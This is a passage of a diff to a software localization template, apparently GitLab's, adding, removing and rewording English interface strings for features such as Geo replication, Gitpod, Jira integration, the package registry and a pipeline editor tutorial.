+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
